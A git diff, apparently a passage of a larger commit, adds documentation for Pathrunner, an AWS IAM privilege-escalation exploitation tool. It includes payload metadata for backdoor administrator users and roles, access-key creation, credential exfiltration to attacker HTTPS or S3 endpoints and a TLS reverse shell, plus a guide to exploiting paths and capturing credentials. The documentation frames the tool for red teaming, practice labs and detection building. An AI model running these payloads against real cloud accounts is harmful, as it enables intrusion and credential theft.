+      "description": "Policy ARN to attach",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "ssm-automation-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-automation-backdoor-create-access-key.json b/docs/pathrunner/data/payloads/ssm-automation-backdoor-create-access-key.json
new file mode 100644
index 00000000..14de15a9
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-automation-backdoor-create-access-key.json
@@ -0,0 +1,20 @@
+{
+  "name": "backdoor/create-access-key",
+  "qualifiedName": "ssm-automation:backdoor/create-access-key",
+  "service": "ssm-automation",
+  "description": "Create access keys for an IAM user via SSM Automation Python step",
+  "tags": [
+    "ssm-automation",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user name or ARN to create access keys for",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    }
+  ],
+  "slug": "ssm-automation-backdoor-create-access-key"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-automation-backdoor-create-role.json b/docs/pathrunner/data/payloads/ssm-automation-backdoor-create-role.json
new file mode 100644
index 00000000..722cb16a
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-automation-backdoor-create-role.json
@@ -0,0 +1,38 @@
+{
+  "name": "backdoor/create-role",
+  "qualifiedName": "ssm-automation:backdoor/create-role",
+  "service": "ssm-automation",
+  "description": "Create an IAM role with administrator privileges via SSM Automation Python step",
+  "tags": [
+    "ssm-automation",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Trusted principal ARN (e.g. arn:aws:iam::123456789012:user/name) or service (e.g. lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "ROLE_NAME",
+      "description": "Name for the backdoor role (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "EXTERNAL_ID",
+      "description": "External ID condition for the trust policy",
+      "required": false,
+      "mockValue": "target-resource-id"
+    },
+    {
+      "name": "ROLE_PATH",
+      "description": "IAM path for the role",
+      "required": false,
+      "default": "/"
+    }
+  ],
+  "slug": "ssm-automation-backdoor-create-role"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-automation-backdoor-create-user.json b/docs/pathrunner/data/payloads/ssm-automation-backdoor-create-user.json
new file mode 100644
index 00000000..56d6d2a4
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-automation-backdoor-create-user.json
@@ -0,0 +1,26 @@
+{
+  "name": "backdoor/create-user",
+  "qualifiedName": "ssm-automation:backdoor/create-user",
+  "service": "ssm-automation",
+  "description": "Create an IAM user with administrator privileges via SSM Automation Python step",
+  "tags": [
+    "ssm-automation",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "USER_NAME",
+      "description": "Name for the backdoor user (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "ACCESS_KEY",
+      "description": "Create programmatic access keys and return credentials",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "slug": "ssm-automation-backdoor-create-user"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-automation-backdoor-update-role-trust.json b/docs/pathrunner/data/payloads/ssm-automation-backdoor-update-role-trust.json
new file mode 100644
index 00000000..d406beae
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-automation-backdoor-update-role-trust.json
@@ -0,0 +1,26 @@
+{
+  "name": "backdoor/update-role-trust",
+  "qualifiedName": "ssm-automation:backdoor/update-role-trust",
+  "service": "ssm-automation",
+  "description": "Append a trust policy statement to an IAM role via SSM Automation Python step",
+  "tags": [
+    "ssm-automation",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "Name of the IAM role whose trust policy to modify",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Principal to add to the trust policy (ARN or service like lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    }
+  ],
+  "slug": "ssm-automation-backdoor-update-role-trust"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/ssm-backdoor-attach-policy.json
new file mode 100644
index 00000000..82a407d6
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "ssm:backdoor/attach-policy",
+  "service": "ssm",
+  "description": "Attach a policy to an IAM user or role using the instance role's IAM permissions",
+  "tags": [
+    "ssm",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach policy to (auto-detects type from ARN, tries both if plain name)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of policy to attach",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "ssm-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-backdoor-create-access-key.json b/docs/pathrunner/data/payloads/ssm-backdoor-create-access-key.json
new file mode 100644
index 00000000..a6cccf43
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-backdoor-create-access-key.json
@@ -0,0 +1,20 @@
+{
+  "name": "backdoor/create-access-key",
+  "qualifiedName": "ssm:backdoor/create-access-key",
+  "service": "ssm",
+  "description": "Create access keys for an IAM user using the instance role's IAM permissions",
+  "tags": [
+    "ssm",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user name or ARN to create access keys for",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    }
+  ],
+  "slug": "ssm-backdoor-create-access-key"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-backdoor-create-role.json b/docs/pathrunner/data/payloads/ssm-backdoor-create-role.json
new file mode 100644
index 00000000..78b6fce3
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-backdoor-create-role.json
@@ -0,0 +1,38 @@
+{
+  "name": "backdoor/create-role",
+  "qualifiedName": "ssm:backdoor/create-role",
+  "service": "ssm",
+  "description": "Create an IAM role with administrator privileges using the instance role's IAM permissions",
+  "tags": [
+    "ssm",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Trusted principal ARN (e.g. arn:aws:iam::123456789012:user/name) or service (e.g. lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "ROLE_NAME",
+      "description": "Name for the backdoor role (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "EXTERNAL_ID",
+      "description": "External ID condition for the trust policy",
+      "required": false,
+      "mockValue": "target-resource-id"
+    },
+    {
+      "name": "ROLE_PATH",
+      "description": "IAM path for the role",
+      "required": false,
+      "default": "/"
+    }
+  ],
+  "slug": "ssm-backdoor-create-role"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-backdoor-create-user.json b/docs/pathrunner/data/payloads/ssm-backdoor-create-user.json
new file mode 100644
index 00000000..4ca5dbdc
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-backdoor-create-user.json
@@ -0,0 +1,32 @@
+{
+  "name": "backdoor/create-user",
+  "qualifiedName": "ssm:backdoor/create-user",
+  "service": "ssm",
+  "description": "Create an IAM user with administrator privileges using the instance role's IAM permissions",
+  "tags": [
+    "ssm",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "USER_NAME",
+      "description": "Name for the backdoor user (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CONSOLE_ACCESS",
+      "description": "Create a console login profile with a random password",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "ACCESS_KEY",
+      "description": "Create programmatic access keys",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "slug": "ssm-backdoor-create-user"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-backdoor-update-role-trust.json b/docs/pathrunner/data/payloads/ssm-backdoor-update-role-trust.json
new file mode 100644
index 00000000..258ac219
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-backdoor-update-role-trust.json
@@ -0,0 +1,26 @@
+{
+  "name": "backdoor/update-role-trust",
+  "qualifiedName": "ssm:backdoor/update-role-trust",
+  "service": "ssm",
+  "description": "Append a trust policy statement to an IAM role using the instance role's IAM permissions",
+  "tags": [
+    "ssm",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "Name of the IAM role whose trust policy to modify",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Principal to add to the trust policy (ARN or service like lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    }
+  ],
+  "slug": "ssm-backdoor-update-role-trust"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-exfil-https.json b/docs/pathrunner/data/payloads/ssm-exfil-https.json
new file mode 100644
index 00000000..5ca134ea
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-exfil-https.json
@@ -0,0 +1,33 @@
+{
+  "name": "exfil/https",
+  "qualifiedName": "ssm:exfil/https",
+  "service": "ssm",
+  "description": "Exfiltrate instance role credentials to an attacker-controlled HTTPS endpoint via SSM command",
+  "tags": [
+    "ssm",
+    "bash",
+    "exfil",
+    "https"
+  ],
+  "options": [
+    {
+      "name": "HTTPS_URL",
+      "description": "Target HTTPS URL for credential exfiltration",
+      "required": true,
+      "mockValue": "https://1.2.3.4:8443/collect"
+    },
+    {
+      "name": "INCLUDE_METADATA",
+      "description": "Include additional instance metadata (hostname, region, etc.)",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "USER_AGENT",
+      "description": "Custom User-Agent for HTTP requests",
+      "required": false,
+      "default": "AWS-EC2-Instance"
+    }
+  ],
+  "slug": "ssm-exfil-https"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-exfil-s3.json b/docs/pathrunner/data/payloads/ssm-exfil-s3.json
new file mode 100644
index 00000000..85f56db0
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-exfil-s3.json
@@ -0,0 +1,33 @@
+{
+  "name": "exfil/s3",
+  "qualifiedName": "ssm:exfil/s3",
+  "service": "ssm",
+  "description": "Exfiltrate instance role credentials to an attacker-controlled S3 bucket via SSM command",
+  "tags": [
+    "ssm",
+    "bash",
+    "exfil",
+    "filesystem"
+  ],
+  "options": [
+    {
+      "name": "EXFIL_BUCKET",
+      "description": "Attacker-controlled S3 bucket name for credential exfiltration",
+      "required": true,
+      "mockValue": "target-s3-bucket-123456789012"
+    },
+    {
+      "name": "EXFIL_PREFIX",
+      "description": "S3 key prefix for exfiltrated data",
+      "required": false,
+      "default": "exfil/"
+    },
+    {
+      "name": "INCLUDE_METADATA",
+      "description": "Include instance metadata (hostname, region, etc.) in the exfiltrated payload",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "slug": "ssm-exfil-s3"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-revshell-tls.json b/docs/pathrunner/data/payloads/ssm-revshell-tls.json
new file mode 100644
index 00000000..a9436800
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-revshell-tls.json
@@ -0,0 +1,39 @@
+{
+  "name": "revshell/tls",
+  "qualifiedName": "ssm:revshell/tls",
+  "service": "ssm",
+  "description": "Establish a TLS-encrypted reverse shell via SSM command",
+  "tags": [
+    "ssm",
+    "bash",
+    "access",
+    "https"
+  ],
+  "options": [
+    {
+      "name": "LISTENER_IP",
+      "description": "IP address of attacker's reverse shell listener",
+      "required": true,
+      "mockValue": "1.2.3.4"
+    },
+    {
+      "name": "LISTENER_PORT",
+      "description": "Port for reverse shell connection",
+      "required": false,
+      "default": "4444"
+    },
+    {
+      "name": "RETRY_COUNT",
+      "description": "Number of connection retry attempts",
+      "required": false,
+      "default": "3"
+    },
+    {
+      "name": "RETRY_DELAY",
+      "description": "Seconds between retry attempts",
+      "required": false,
+      "default": "5"
+    }
+  ],
+  "slug": "ssm-revshell-tls"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-shell-interactive.json b/docs/pathrunner/data/payloads/ssm-shell-interactive.json
new file mode 100644
index 00000000..9e515a4c
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-shell-interactive.json
@@ -0,0 +1,12 @@
+{
+  "name": "shell/interactive",
+  "qualifiedName": "ssm:shell/interactive",
+  "service": "ssm",
+  "description": "Open a live interactive shell via the SSM session (no reverse connection required)",
+  "tags": [
+    "ssm",
+    "bash",
+    "access"
+  ],
+  "slug": "ssm-shell-interactive"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/getting-started.md b/docs/pathrunner/getting-started.md
new file mode 100644
index 00000000..f2abc071
--- /dev/null
+++ b/docs/pathrunner/getting-started.md
@@ -0,0 +1,83 @@
+# Getting Started
+
+Pathrunner automates the exploitation of AWS IAM privilege escalation paths. It is the execution layer of a three-project ecosystem: [pathfinding.cloud](/paths/) documents each path, [pathfinding-labs](/labs/) deploys vulnerable AWS infrastructure to practice against, and Pathrunner chains modules and payloads to escalate from an initial identity to elevated access.
+
+## Installation
+
+Requires Go 1.26+ and valid AWS credentials.
+
+### go install
+
+```
+go install github.com/DataDog/pathrunner/cmd/pathrunner@latest
+```
+
+### Homebrew
+
+```
+brew tap DataDog/pathrunner https://github.com/DataDog/pathrunner
+brew install DataDog/pathrunner/pathrunner
+```
+
+### Build from source
+
+```
+git clone https://github.com/DataDog/pathrunner.git
+cd pathrunner
+make build
+cp pathrunner /usr/local/bin/
+```
+
+Prebuilt binaries are also attached to each [GitHub release](https://github.com/DataDog/pathrunner/releases).
+
+## Quick Start
+
+Pathrunner offers a Metasploit-style interactive REPL and a 1:1 scriptable CLI. The REPL walkthrough:
+
+```
+# Start the interactive shell
+./pathrunner
+
+# Add your AWS identity
+pathrunner> identity add --profile my-aws-profile
+
+# Browse available modules
+pathrunner> search lambda
+pathrunner> info lambda-001
+
+# Select and configure a module
+pathrunner> use lambda-001
+pathrunner> show options
+pathrunner> set ROLE_ARN arn:aws:iam::123456789012:role/TargetRole
+
+# Choose a payload and execute
+pathrunner> show payloads
+pathrunner> set PAYLOAD exfil/response
+pathrunner> exploit
+```
+
+After a successful exploit that captures credentials, they are auto-extracted and available as a new identity:
+
+```
+pathrunner> identity list          # New identity appears automatically
+pathrunner> identity switch lambda_AB12
+pathrunner> pmapper analyze        # See what is reachable from here
+```
+
+## Core Concepts
+
+- **Identities are the sessions of the cloud.** Attacks hop from one identity to another by capturing credentials. Import an identity from almost any text format (`identity add --from-clipboard`) and switch between them instantly (`identity switch`).
+- **Modular exploits.** A single interface over the full catalog of AWS privilege escalation [modules](/pathrunner/modules), influenced by Metasploit, NetExec, and Pacu.
+- **Modular payloads build better detections.** Each module supports multiple interchangeable [payloads](/pathrunner/payloads), so you can pick one that works around network/SCP restrictions — and walk every payload to build a detection for each variant.
+- **Attacker infrastructure, built in.** Configure an attacker identity and stand up a remote listener in your own account (`attacker infra ec2 create`, `attacker listener start`) to catch credentials and shells.
+- **Hand the blue team an audit log.** `workspace report --output pathrunner.html` produces a handoff report of the resources created or modified and the CloudTrail events your activity generated, with timestamps.
+- **Workspace isolation.** Each workspace maintains isolated identities, history, and tracked resources.
+
+## Integrations
+
+- **[PMapper](https://github.com/nccgroup/PMapper)** — `pmapper import` a graph, then `pmapper analyze` to see which escalation paths you can currently exploit, with suggested commands for each hop.
+- **[CloudFox](https://github.com/BishopFox/cloudfox)** — `cloudfox import` its output to browse discovered AWS resources (`resources list`) and auto-populate them as module option values.
+
+## Next steps
+
+Browse the [exploit modules](/pathrunner/modules) and [payloads](/pathrunner/payloads), or read the full source at [github.com/DataDog/pathrunner](https://github.com/DataDog/pathrunner).
diff --git a/docs/pathrunner/gifs/apprunner-001.webm b/docs/pathrunner/gifs/apprunner-001.webm
new file mode 100644
index 00000000..e25641df
Binary files /dev/null and b/docs/pathrunner/gifs/apprunner-001.webm differ
diff --git a/docs/pathrunner/gifs/apprunner-002.webm b/docs/pathrunner/gifs/apprunner-002.webm
new file mode 100644
index 00000000..d20c88d3
Binary files /dev/null and b/docs/pathrunner/gifs/apprunner-002.webm differ
diff --git a/docs/pathrunner/gifs/attacker-identity-show.gif b/docs/pathrunner/gifs/attacker-identity-show.gif
new file mode 100644
index 00000000..df95d16e
Binary files /dev/null and b/docs/pathrunner/gifs/attacker-identity-show.gif differ
diff --git a/docs/pathrunner/gifs/attacker-infra-status.gif b/docs/pathrunner/gifs/attacker-infra-status.gif
new file mode 100644
index 00000000..3ceabc75
Binary files /dev/null and b/docs/pathrunner/gifs/attacker-infra-status.gif differ
diff --git a/docs/pathrunner/gifs/attacker-listener-status.gif b/docs/pathrunner/gifs/attacker-listener-status.gif
new file mode 100644
index 00000000..74863ae8
Binary files /dev/null and b/docs/pathrunner/gifs/attacker-listener-status.gif differ
diff --git a/docs/pathrunner/gifs/batch-001.webm b/docs/pathrunner/gifs/batch-001.webm
new file mode 100644
index 00000000..59254efa
Binary files /dev/null and b/docs/pathrunner/gifs/batch-001.webm differ
diff --git a/docs/pathrunner/gifs/batch-002.webm b/docs/pathrunner/gifs/batch-002.webm
new file mode 100644
index 00000000..d3a6b3ce
Binary files /dev/null and b/docs/pathrunner/gifs/batch-002.webm differ
diff --git a/docs/pathrunner/gifs/batch-003.webm b/docs/pathrunner/gifs/batch-003.webm
new file mode 100644
index 00000000..02878046
Binary files /dev/null and b/docs/pathrunner/gifs/batch-003.webm differ
diff --git a/docs/pathrunner/gifs/bedrock-001.webm b/docs/pathrunner/gifs/bedrock-001.webm
new file mode 100644
index 00000000..261e76cd
Binary files /dev/null and b/docs/pathrunner/gifs/bedrock-001.webm differ
diff --git a/docs/pathrunner/gifs/bedrock-002.webm b/docs/pathrunner/gifs/bedrock-002.webm
new file mode 100644
index 00000000..647beabd
Binary files /dev/null and b/docs/pathrunner/gifs/bedrock-002.webm differ
diff --git a/docs/pathrunner/gifs/bedrock-003.webm b/docs/pathrunner/gifs/bedrock-003.webm
new file mode 100644
index 00000000..84f483dd
Binary files /dev/null and b/docs/pathrunner/gifs/bedrock-003.webm differ
diff --git a/docs/pathrunner/gifs/bedrock-004.webm b/docs/pathrunner/gifs/bedrock-004.webm
new file mode 100644
index 00000000..e4178c1d
Binary files /dev/null and b/docs/pathrunner/gifs/bedrock-004.webm differ
diff --git a/docs/pathrunner/gifs/bedrock-005.webm b/docs/pathrunner/gifs/bedrock-005.webm
new file mode 100644
index 00000000..54203a4e
Binary files /dev/null and b/docs/pathrunner/gifs/bedrock-005.webm differ
diff --git a/docs/pathrunner/gifs/bedrock-006.webm b/docs/pathrunner/gifs/bedrock-006.webm
new file mode 100644
index 00000000..6179037f
Binary files /dev/null and b/docs/pathrunner/gifs/bedrock-006.webm differ
diff --git a/docs/pathrunner/gifs/bedrock-007.webm b/docs/pathrunner/gifs/bedrock-007.webm
new file mode 100644
index 00000000..cde9eba5
Binary files /dev/null and b/docs/pathrunner/gifs/bedrock-007.webm differ
diff --git a/docs/pathrunner/gifs/braket-001.webm b/docs/pathrunner/gifs/braket-001.webm
new file mode 100644
index 00000000..16150bff
Binary files /dev/null and b/docs/pathrunner/gifs/braket-001.webm differ
diff --git a/docs/pathrunner/gifs/cloudformation-001.webm b/docs/pathrunner/gifs/cloudformation-001.webm
new file mode 100644
index 00000000..78ba7370
Binary files /dev/null and b/docs/pathrunner/gifs/cloudformation-001.webm differ
diff --git a/docs/pathrunner/gifs/cloudformation-002.webm b/docs/pathrunner/gifs/cloudformation-002.webm
new file mode 100644
index 00000000..232bfdad
Binary files /dev/null and b/docs/pathrunner/gifs/cloudformation-002.webm differ
diff --git a/docs/pathrunner/gifs/cloudformation-003.webm b/docs/pathrunner/gifs/cloudformation-003.webm
new file mode 100644
index 00000000..dba24b9f
Binary files /dev/null and b/docs/pathrunner/gifs/cloudformation-003.webm differ
diff --git a/docs/pathrunner/gifs/cloudformation-004.webm b/docs/pathrunner/gifs/cloudformation-004.webm
new file mode 100644
index 00000000..97528ec2
Binary files /dev/null and b/docs/pathrunner/gifs/cloudformation-004.webm differ
diff --git a/docs/pathrunner/gifs/cloudformation-005.webm b/docs/pathrunner/gifs/cloudformation-005.webm
new file mode 100644
index 00000000..64ddc195
Binary files /dev/null and b/docs/pathrunner/gifs/cloudformation-005.webm differ
diff --git a/docs/pathrunner/gifs/codebuild-001.webm b/docs/pathrunner/gifs/codebuild-001.webm
new file mode 100644
index 00000000..0f21a112
Binary files /dev/null and b/docs/pathrunner/gifs/codebuild-001.webm differ
diff --git a/docs/pathrunner/gifs/codebuild-002.webm b/docs/pathrunner/gifs/codebuild-002.webm
new file mode 100644
index 00000000..6234e552
Binary files /dev/null and b/docs/pathrunner/gifs/codebuild-002.webm differ
diff --git a/docs/pathrunner/gifs/codebuild-003.webm b/docs/pathrunner/gifs/codebuild-003.webm
new file mode 100644
index 00000000..5ef69c75
Binary files /dev/null and b/docs/pathrunner/gifs/codebuild-003.webm differ
diff --git a/docs/pathrunner/gifs/codebuild-004.webm b/docs/pathrunner/gifs/codebuild-004.webm
new file mode 100644
index 00000000..d3194157
Binary files /dev/null and b/docs/pathrunner/gifs/codebuild-004.webm differ
diff --git a/docs/pathrunner/gifs/codedeploy-001.webm b/docs/pathrunner/gifs/codedeploy-001.webm
new file mode 100644
index 00000000..afe726ec
Binary files /dev/null and b/docs/pathrunner/gifs/codedeploy-001.webm differ
diff --git a/docs/pathrunner/gifs/cognitoidentity-001.webm b/docs/pathrunner/gifs/cognitoidentity-001.webm
new file mode 100644
index 00000000..816de80e
Binary files /dev/null and b/docs/pathrunner/gifs/cognitoidentity-001.webm differ
diff --git a/docs/pathrunner/gifs/ec2-001.webm b/docs/pathrunner/gifs/ec2-001.webm
new file mode 100644
index 00000000..b3566470
Binary files /dev/null and b/docs/pathrunner/gifs/ec2-001.webm differ
diff --git a/docs/pathrunner/gifs/ec2-002.webm b/docs/pathrunner/gifs/ec2-002.webm
new file mode 100644
index 00000000..8744343f
Binary files /dev/null and b/docs/pathrunner/gifs/ec2-002.webm differ
diff --git a/docs/pathrunner/gifs/ec2-003.webm b/docs/pathrunner/gifs/ec2-003.webm
new file mode 100644
index 00000000..1ec39d3d
Binary files /dev/null and b/docs/pathrunner/gifs/ec2-003.webm differ
diff --git a/docs/pathrunner/gifs/ec2-004.webm b/docs/pathrunner/gifs/ec2-004.webm
new file mode 100644
index 00000000..eddda61d
Binary files /dev/null and b/docs/pathrunner/gifs/ec2-004.webm differ
diff --git a/docs/pathrunner/gifs/ec2-005.webm b/docs/pathrunner/gifs/ec2-005.webm
new file mode 100644
index 00000000..099fe879
Binary files /dev/null and b/docs/pathrunner/gifs/ec2-005.webm differ
diff --git a/docs/pathrunner/gifs/ecs-001.webm b/docs/pathrunner/gifs/ecs-001.webm
new file mode 100644
index 00000000..f3caa917
Binary files /dev/null and b/docs/pathrunner/gifs/ecs-001.webm differ
diff --git a/docs/pathrunner/gifs/ecs-002.webm b/docs/pathrunner/gifs/ecs-002.webm
new file mode 100644
index 00000000..c01ed893
Binary files /dev/null and b/docs/pathrunner/gifs/ecs-002.webm differ
diff --git a/docs/pathrunner/gifs/ecs-003.webm b/docs/pathrunner/gifs/ecs-003.webm
new file mode 100644
index 00000000..5895389a
Binary files /dev/null and b/docs/pathrunner/gifs/ecs-003.webm differ
diff --git a/docs/pathrunner/gifs/ecs-004.webm b/docs/pathrunner/gifs/ecs-004.webm
new file mode 100644
index 00000000..99471b3b
Binary files /dev/null and b/docs/pathrunner/gifs/ecs-004.webm differ
diff --git a/docs/pathrunner/gifs/ecs-005.webm b/docs/pathrunner/gifs/ecs-005.webm
new file mode 100644
index 00000000..4ffed490
Binary files /dev/null and b/docs/pathrunner/gifs/ecs-005.webm differ
diff --git a/docs/pathrunner/gifs/ecs-006.webm b/docs/pathrunner/gifs/ecs-006.webm
new file mode 100644
index 00000000..2ad68303
Binary files /dev/null and b/docs/pathrunner/gifs/ecs-006.webm differ
diff --git a/docs/pathrunner/gifs/ecs-007.webm b/docs/pathrunner/gifs/ecs-007.webm
new file mode 100644
index 00000000..dc1602d8
Binary files /dev/null and b/docs/pathrunner/gifs/ecs-007.webm differ
diff --git a/docs/pathrunner/gifs/ecs-008.webm b/docs/pathrunner/gifs/ecs-008.webm
new file mode 100644
index 00000000..45082af1
Binary files /dev/null and b/docs/pathrunner/gifs/ecs-008.webm differ
diff --git a/docs/pathrunner/gifs/ecs-009.webm b/docs/pathrunner/gifs/ecs-009.webm
new file mode 100644
index 00000000..737b55ce
Binary files /dev/null and b/docs/pathrunner/gifs/ecs-009.webm differ
diff --git a/docs/pathrunner/gifs/emr-001.webm b/docs/pathrunner/gifs/emr-001.webm
new file mode 100644
index 00000000..55faf88b
Binary files /dev/null and b/docs/pathrunner/gifs/emr-001.webm differ
diff --git a/docs/pathrunner/gifs/emrserverless-001.webm b/docs/pathrunner/gifs/emrserverless-001.webm
new file mode 100644
index 00000000..f3024017
Binary files /dev/null and b/docs/pathrunner/gifs/emrserverless-001.webm differ
diff --git a/docs/pathrunner/gifs/gamelift-001.webm b/docs/pathrunner/gifs/gamelift-001.webm
new file mode 100644
index 00000000..e81f3965
Binary files /dev/null and b/docs/pathrunner/gifs/gamelift-001.webm differ
diff --git a/docs/pathrunner/gifs/glue-001.webm b/docs/pathrunner/gifs/glue-001.webm
new file mode 100644
index 00000000..cc2a162f
Binary files /dev/null and b/docs/pathrunner/gifs/glue-001.webm differ
diff --git a/docs/pathrunner/gifs/glue-003.webm b/docs/pathrunner/gifs/glue-003.webm
new file mode 100644
index 00000000..c565c8ed
Binary files /dev/null and b/docs/pathrunner/gifs/glue-003.webm differ
diff --git a/docs/pathrunner/gifs/glue-004.webm b/docs/pathrunner/gifs/glue-004.webm
new file mode 100644
index 00000000..c0095042
Binary files /dev/null and b/docs/pathrunner/gifs/glue-004.webm differ
diff --git a/docs/pathrunner/gifs/glue-005.webm b/docs/pathrunner/gifs/glue-005.webm
new file mode 100644
index 00000000..aea8aebd
Binary files /dev/null and b/docs/pathrunner/gifs/glue-005.webm differ
diff --git a/docs/pathrunner/gifs/glue-006.webm b/docs/pathrunner/gifs/glue-006.webm
new file mode 100644
index 00000000..8e92fe04
Binary files /dev/null and b/docs/pathrunner/gifs/glue-006.webm differ
diff --git a/docs/pathrunner/gifs/glue-007.webm b/docs/pathrunner/gifs/glue-007.webm
new file mode 100644
index 00000000..7e7a187f
Binary files /dev/null and b/docs/pathrunner/gifs/glue-007.webm differ
diff --git a/docs/pathrunner/gifs/help.gif b/docs/pathrunner/gifs/help.gif
new file mode 100644
index 00000000..0a1ed606
Binary files /dev/null and b/docs/pathrunner/gifs/help.gif differ
diff --git a/docs/pathrunner/gifs/iam-001.webm b/docs/pathrunner/gifs/iam-001.webm
new file mode 100644
index 00000000..d89aaa20
Binary files /dev/null and b/docs/pathrunner/gifs/iam-001.webm differ
diff --git a/docs/pathrunner/gifs/iam-002.webm b/docs/pathrunner/gifs/iam-002.webm
new file mode 100644
index 00000000..9d0dfde4
Binary files /dev/null and b/docs/pathrunner/gifs/iam-002.webm differ
diff --git a/docs/pathrunner/gifs/iam-003.webm b/docs/pathrunner/gifs/iam-003.webm
new file mode 100644
index 00000000..cddfe030
Binary files /dev/null and b/docs/pathrunner/gifs/iam-003.webm differ
diff --git a/docs/pathrunner/gifs/iam-004.webm b/docs/pathrunner/gifs/iam-004.webm
new file mode 100644
index 00000000..267cdac5
Binary files /dev/null and b/docs/pathrunner/gifs/iam-004.webm differ
diff --git a/docs/pathrunner/gifs/iam-005.webm b/docs/pathrunner/gifs/iam-005.webm
new file mode 100644
index 00000000..af9121ab
Binary files /dev/null and b/docs/pathrunner/gifs/iam-005.webm differ
diff --git a/docs/pathrunner/gifs/iam-006.webm b/docs/pathrunner/gifs/iam-006.webm
new file mode 100644
index 00000000..cb76273c
Binary files /dev/null and b/docs/pathrunner/gifs/iam-006.webm differ
diff --git a/docs/pathrunner/gifs/iam-007.webm b/docs/pathrunner/gifs/iam-007.webm
new file mode 100644
index 00000000..086f280c
Binary files /dev/null and b/docs/pathrunner/gifs/iam-007.webm differ
diff --git a/docs/pathrunner/gifs/iam-008.webm b/docs/pathrunner/gifs/iam-008.webm
new file mode 100644
index 00000000..60ee1eee
Binary files /dev/null and b/docs/pathrunner/gifs/iam-008.webm differ
diff --git a/docs/pathrunner/gifs/iam-009.webm b/docs/pathrunner/gifs/iam-009.webm
new file mode 100644
index 00000000..32bdf3fc
Binary files /dev/null and b/docs/pathrunner/gifs/iam-009.webm differ
diff --git a/docs/pathrunner/gifs/iam-010.webm b/docs/pathrunner/gifs/iam-010.webm
new file mode 100644
index 00000000..e94d8f84
